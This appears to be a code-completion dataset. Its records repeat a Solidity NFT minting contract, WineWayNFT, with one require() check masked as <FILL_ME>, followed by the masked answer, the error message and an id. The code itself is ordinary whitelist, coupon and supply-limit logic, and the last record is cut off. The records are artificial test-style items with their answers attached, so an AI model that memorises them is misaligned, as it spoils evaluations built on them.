/////////////////////////////// function autoApproveMarketplace(address _marketplace) public onlyOwner { } function isApprovedForAll(address _owner, address _operator) public view override(ERC721A, IERC721) returns (bool) { } //////////////// // Whitelist // //////////////// function purchaseKingsWhitelist(uint256 _qty, bytes32[] calldata _proof) external payable nonReentrant { } function inWhitelist(address _owner, bytes32[] memory _proof) public view returns (bool) { } function setWhitelistActiveTime(uint256 _whitelistActiveTime) external onlyOwner { } function setWhitelistKingPrice(uint256 _kingPriceWhitelist) external onlyOwner { } function setWhitelist(bytes32 _whitelistMerkleRoot) external onlyOwner { } }
_numberMinted(msg.sender)<=maxKingsPerWallet,"max kings per wallet reached"
227,966
_numberMinted(msg.sender)<=maxKingsPerWallet
"not enough whitelist spots left"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { require(<FILL_ME>) bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(whitelistProof, whitelistMerkleRoot, leaf), "sender not on whitelist" ); // Casting is safe becuase quantity will never be bigger than uint8 as // long as TOTAL_MINT_MAX_WHITELIST is of type uint8. mintingControl[msg.sender].whitelistMinted += uint8(quantity); } function mintHandlePublic(uint256 quantity) private { } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
mintingControl[msg.sender].whitelistMinted+quantity<=TOTAL_MINT_MAX_WHITELIST,"not enough whitelist spots left"
228,208
mintingControl[msg.sender].whitelistMinted+quantity<=TOTAL_MINT_MAX_WHITELIST
"sender not on whitelist"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { require( mintingControl[msg.sender].whitelistMinted + quantity <= TOTAL_MINT_MAX_WHITELIST, "not enough whitelist spots left" ); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(<FILL_ME>) // Casting is safe becuase quantity will never be bigger than uint8 as // long as TOTAL_MINT_MAX_WHITELIST is of type uint8. mintingControl[msg.sender].whitelistMinted += uint8(quantity); } function mintHandlePublic(uint256 quantity) private { } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
MerkleProof.verify(whitelistProof,whitelistMerkleRoot,leaf),"sender not on whitelist"
228,208
MerkleProof.verify(whitelistProof,whitelistMerkleRoot,leaf)
"not enough wallet spots left"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { } function mintHandlePublic(uint256 quantity) private { require(<FILL_ME>) // Casting is safe because quantity will never be bigger than uint8 as // long as TOTAL_MINT_MAX_PUBLIC is of type uint8. mintingControl[msg.sender].publicMinted += uint8(quantity); } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
mintingControl[msg.sender].publicMinted+quantity<=TOTAL_MINT_MAX_PUBLIC,"not enough wallet spots left"
228,208
mintingControl[msg.sender].publicMinted+quantity<=TOTAL_MINT_MAX_PUBLIC
"coupon already claimed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { } function mintHandlePublic(uint256 quantity) private { } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { require(<FILL_ME>) require(signedCoupon.sender == msg.sender, "invalid signed coupon"); bytes32 msgHash = keccak256( abi.encode(signedCoupon.couponHash, signedCoupon.sender) ); address signer = ECDSA.recover( msgHash, signedCoupon.v, signedCoupon.r, signedCoupon.s ); // Check if the coupon has been signed by the correct private key. require(signer == freeMintAddress, "invalid signed coupon"); freeMintClaimed[signedCoupon.couponHash] = true; } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
freeMintClaimed[signedCoupon.couponHash]==false,"coupon already claimed"
228,208
freeMintClaimed[signedCoupon.couponHash]==false
"too many tokens in one batch"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { } function mintHandlePublic(uint256 quantity) private { } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { require(quantity > 0, "cannot mint 0 tokens"); require(<FILL_ME>) uint256 nextTokenId = _nextTokenId(); require(nextTokenId < TOTAL_SUPPLY, "sold out"); require( nextTokenId + (quantity - 1) < TOTAL_SUPPLY, "not enough tokens left for mint" ); require( mintPrice == 0 || msg.value >= mintPrice * quantity, "not enough eth to mint" ); _mint(msg.sender, quantity); } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
(msg.sender==owner()&&quantity<=30)||quantity<=BATCH_MINT_MAX,"too many tokens in one batch"
228,208
(msg.sender==owner()&&quantity<=30)||quantity<=BATCH_MINT_MAX
"not enough tokens left for mint"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "erc721a/contracts/ERC721A.sol"; contract WineWayNFT is ReentrancyGuard, Ownable, ERC721A, PaymentSplitter { using ECDSA for bytes32; // The token name and symbol. string public constant TOKEN_NAME = "WineWayNFT"; string public constant TOKEN_SYMBOL = "WINEWAYNFT"; // The maximum amount of NFTs one can mint in a single mint call (mainly during public mint). uint8 public constant BATCH_MINT_MAX = 3; // The maximum amount of NFTs a wallet can mint during whitelist mint. uint8 public constant TOTAL_MINT_MAX_WHITELIST = 2; // The maximum amount of NFTs a wallet can mint during public mint. uint8 public constant TOTAL_MINT_MAX_PUBLIC = 3; // The total supply of NFTs. uint16 public constant TOTAL_SUPPLY = 1995; // The price of a single NFT during whitelist mint. uint256 public constant MINT_PRICE_WHITELIST = 0.079 ether; // The price of a single NFT during public mint. uint256 public constant MINT_PRICE_PUBLIC = 0.089 ether; // If the NFTs have been revealed. bool public isRevealed = false; // Base URIs for NFT metadata. string private baseURI; string private preRevealBaseURI; // Controls minting. bool public isWhitelistMinting = false; bool public isPublicMinting = false; // Minting control for whitelist & public minting. mapping(address => MintingControl) private mintingControl; bytes32 private whitelistMerkleRoot; // Free minting. Key is hash of coupon. mapping(bytes32 => bool) private freeMintClaimed; address private freeMintAddress; // A struct containing all per-user minting data. struct MintingControl { uint8 whitelistMinted; uint8 publicMinted; } // A signed coupon for free minting. struct SignedCoupon { bytes32 couponHash; 